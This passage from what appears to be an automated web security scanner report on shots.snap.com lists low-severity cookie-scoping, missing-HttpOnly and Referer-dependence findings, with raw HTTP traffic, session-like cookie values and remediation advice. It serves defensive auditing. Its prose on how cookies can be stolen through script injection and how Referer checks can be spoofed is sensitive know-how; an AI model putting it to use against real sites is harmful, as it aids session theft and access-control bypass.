session=id%3Dcc29bbb979ecb0e0384fa2c504658e7f%26time%3D1303780966%26created_time%3D1303780966%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd3%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F; path=/; domain=.snap.com
session=id%3Dcc29bbb979ecb0e0384fa2c504658e7f%26time%3D1303780966%26created_time%3D1303780966%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd3%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F%26call%3D1; path=/; domain=.snap.com
user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots%26call%3D1%26time%3D1303780966; expires=Wed, 24-Apr-2013 01:22:46 GMT; path=/; domain=.snap.com
spa=deleted; expires=Mon, 26-Apr-2010 01:22:45 GMT; path=/; domain=.snap.com

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /rk.php?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&lang=en-us&th=silver&src=www.slaviks-blog.com&cp=Shotsense&s=small&svc=&tag=&atext=posted&title=Musings%20on%20Database%20Security&dfs=10&call=0&uid=16266132404ce087181f51bbd2d1a9b9&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&fl=null&size=320x79 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:22:46 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 26 Apr 2011 01:22:46 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots%26call%3D1%26time%3D1303780966; expires=Wed, 24-Apr-2013 01:22:46 GMT; path=/; domain=.snap.com
Set-Cookie: session=id%3Dcc29bbb979ecb0e0384fa2c504658e7f%26time%3D1303780966%26created_time%3D1303780966%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd3%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F; path=/; domain=.snap.com
Set-Cookie: session=id%3Dcc29bbb979ecb0e0384fa2c504658e7f%26time%3D1303780966%26created_time%3D1303780966%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd3%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F%26call%3D1; path=/; domain=.snap.com
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:22:45 GMT; path=/; domain=.snap.com
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 10269

<html>
<head>

<style>

body {
margin: 0;
padding: 0;
background: #f2f2f2 url('http://i.ixnp.com/images/hdr-spons.gif') no-repeat fixed 97% 94%;

border: 0;
}

#keywordTable {
fon
...[SNIP]...

3.2. http://shots.snap.com/images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

spa=deleted; expires=Mon, 26-Apr-2010 01:15:39 GMT; path=/; domain=.snap.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/ HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots%26call%3D1%26time%3D1303780536; session=id%3D750141ed4012a61dd2504f021aabfdfe%26time%3D1303780536%26created_time%3D1303780536%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd3%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F%26call%3D1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:15:40 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:15:39 GMT; path=/; domain=.snap.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 26 Apr 2011 01:15:40 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: image/gif
Content-Length: 51

GIF89a.............!.......,..........
...i.
.....;

3.3. http://shots.snap.com/preview/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/preview/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

spa=deleted; expires=Mon, 26-Apr-2010 01:22:38 GMT; path=/; domain=.snap.com
spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:22:39 GMT; path=/; domain=.snap.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /preview/?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&src=www.slaviks-blog.com&cp=&sb=1&v=6.59&size=small&lang=en-us&search_type=spasense&vis=0&origin=shots_bubble&act=only_link&po=0&rp=null&tok=00034db816da48d6409a1a9cffc9091a0226f9839f&has_img=0&ol=0&ex=0&ad=unknown&ip=173.193.214.243&ua=Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+AppleWebKit%2F534.16+%28KHTML%2C+like+Gecko%29+Chrome%2F10.0.648.205+Safari%2F534.16&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&nl=0&referrer=http%3A%2F%2Fwww.slaviks-blog.com%2F&svc=&rt=1303780546551&view_id=89fdd0457a773fb9e78a2ee3e0b8ebd3&goto=Go%20to%20%25URL&direct=1&sc=2&rss=1 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

HTTP/1.1 302 Found
Date: Tue, 26 Apr 2011 01:22:39 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:22:38 GMT; path=/; domain=.snap.com
Set-Cookie: spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:22:39 GMT; path=/; domain=.snap.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 26 Apr 2011 01:22:39 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Location: http://shots.snap.com/images/v6.59/size_305/en-us/capturing.gif
Content-Length: 0
Content-Type: text/html; charset=UTF-8

3.4. http://shots.snap.com/shot/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/shot/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

spa=deleted; expires=Mon, 26-Apr-2010 01:22:18 GMT; path=/; domain=.snap.com
spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:22:19 GMT; path=/; domain=.snap.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /shot/?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&src=www.slaviks-blog.com&cp=&sb=1&v=6.59&size=small&lang=en-us&search_type=spasense&vis=0&origin=shots_bubble&act=only_link&po=0&rp=null&tok=00034db816da48d6409a1a9cffc9091a0226f9839f&has_img=0&ol=0&ex=0&ad=unknown&ip=173.193.214.243&ua=Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+AppleWebKit%2F534.16+%28KHTML%2C+like+Gecko%29+Chrome%2F10.0.648.205+Safari%2F534.16&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&nl=0&referrer=http%3A%2F%2Fwww.slaviks-blog.com%2F&svc=&rt=1303780546551&w=320&h=207&target=_blank&tag=&goto=Go%20to%20%25URL&sc=1 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:22:19 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:22:18 GMT; path=/; domain=.snap.com
Set-Cookie: spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:22:19 GMT; path=/; domain=.snap.com
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 13

<html></html>

3.5. http://shots.snap.com/snap_shots.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/snap_shots.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

spa=deleted; expires=Mon, 26-Apr-2010 01:21:03 GMT; path=/; domain=.snap.com
user=id%3D97db340396a4e597b35577efccf6602f%26exp%3D1366766464%26v%3D2; expires=Wed, 24-Apr-2013 01:21:04 GMT; path=/; domain=.snap.com
user=id%3D97db340396a4e597b35577efccf6602f%26exp%3D1366766464%26v%3D2%26origin%3Dshots; expires=Wed, 24-Apr-2013 01:21:04 GMT; path=/; domain=.snap.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /snap_shots.js?ap=1&si=0&key=6e8afd4f63cdc7886a3f718aa78c7375&sb=0&link_icon=on&oi=0&cl=0&po=0&th=green&preview_trigger=icon&domain=www.slaviks-blog.com HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:21:04 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:21:03 GMT; path=/; domain=.snap.com
Set-Cookie: user=id%3D97db340396a4e597b35577efccf6602f%26exp%3D1366766464%26v%3D2; expires=Wed, 24-Apr-2013 01:21:04 GMT; path=/; domain=.snap.com
Set-Cookie: user=id%3D97db340396a4e597b35577efccf6602f%26exp%3D1366766464%26v%3D2%26origin%3Dshots; expires=Wed, 24-Apr-2013 01:21:04 GMT; path=/; domain=.snap.com
Cache-Control: max-age=7200
Expires: Tue, 26 Apr 2011 03:21:04 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 15220

//<!--
/*! Snap Shots Code Copyright (c) 2009, Snap Technologies, Inc. All rights reserved.
* Your use of this code is subject to the Snap Shots Terms of Service
* located at https://account.snap
...[SNIP]...

4. Cookie without HttpOnly flag set previous next
There are 5 instances of this issue:

/rk.php
/images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/
/preview/
/shot/
/snap_shots.js

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. http://shots.snap.com/rk.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://shots.snap.com
Path:	/rk.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

session=id%3Dcc29bbb979ecb0e0384fa2c504658e7f%26time%3D1303780966%26created_time%3D1303780966%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd3%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F; path=/; domain=.snap.com
session=id%3Dcc29bbb979ecb0e0384fa2c504658e7f%26time%3D1303780966%26created_time%3D1303780966%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd3%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F%26call%3D1; path=/; domain=.snap.com
user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots%26call%3D1%26time%3D1303780966; expires=Wed, 24-Apr-2013 01:22:46 GMT; path=/; domain=.snap.com
spa=deleted; expires=Mon, 26-Apr-2010 01:22:45 GMT; path=/; domain=.snap.com

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /rk.php?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&lang=en-us&th=silver&src=www.slaviks-blog.com&cp=Shotsense&s=small&svc=&tag=&atext=posted&title=Musings%20on%20Database%20Security&dfs=10&call=0&uid=16266132404ce087181f51bbd2d1a9b9&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&fl=null&size=320x79 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

4.2. http://shots.snap.com/images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

spa=deleted; expires=Mon, 26-Apr-2010 01:15:39 GMT; path=/; domain=.snap.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4.3. http://shots.snap.com/preview/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/preview/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

spa=deleted; expires=Mon, 26-Apr-2010 01:22:38 GMT; path=/; domain=.snap.com
spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:22:39 GMT; path=/; domain=.snap.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

4.4. http://shots.snap.com/shot/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/shot/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

spa=deleted; expires=Mon, 26-Apr-2010 01:22:18 GMT; path=/; domain=.snap.com
spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:22:19 GMT; path=/; domain=.snap.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /shot/?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&src=www.slaviks-blog.com&cp=&sb=1&v=6.59&size=small&lang=en-us&search_type=spasense&vis=0&origin=shots_bubble&act=only_link&po=0&rp=null&tok=00034db816da48d6409a1a9cffc9091a0226f9839f&has_img=0&ol=0&ex=0&ad=unknown&ip=173.193.214.243&ua=Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+AppleWebKit%2F534.16+%28KHTML%2C+like+Gecko%29+Chrome%2F10.0.648.205+Safari%2F534.16&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&nl=0&referrer=http%3A%2F%2Fwww.slaviks-blog.com%2F&svc=&rt=1303780546551&w=320&h=207&target=_blank&tag=&goto=Go%20to%20%25URL&sc=1 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

4.5. http://shots.snap.com/snap_shots.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/snap_shots.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

spa=deleted; expires=Mon, 26-Apr-2010 01:21:03 GMT; path=/; domain=.snap.com
user=id%3D97db340396a4e597b35577efccf6602f%26exp%3D1366766464%26v%3D2; expires=Wed, 24-Apr-2013 01:21:04 GMT; path=/; domain=.snap.com
user=id%3D97db340396a4e597b35577efccf6602f%26exp%3D1366766464%26v%3D2%26origin%3Dshots; expires=Wed, 24-Apr-2013 01:21:04 GMT; path=/; domain=.snap.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

5. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://shots.snap.com
Path:	/asj/v1/6e8afd4f63cdc7886a3f718aa78c7375/2863866373/auto_shot.js

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /asj/v1/6e8afd4f63cdc7886a3f718aa78c7375/2863866373/auto_shot.js?sz=44009&lm=04/26/2011%2000%3A20%3A48&size=small&accept=shots HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response 1

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:21:21 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Cache-Control: max-age=7200
Expires: Tue, 26 Apr 2011 03:21:21 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 199

if (typeof SNAP_COM == "undefined") { SNAP_COM = {}; }
SNAP_COM.autoshot = {"Results":{"Matches":null
}}
;
if (SNAP_COM.shot && SNAP_COM.shot.autoshot_init) { SNAP_COM.shot.autoshot_init(true) }

Request 2

GET /asj/v1/6e8afd4f63cdc7886a3f718aa78c7375/2863866373/auto_shot.js?sz=44009&lm=04/26/2011%2000%3A20%3A48&size=small&accept=shots HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
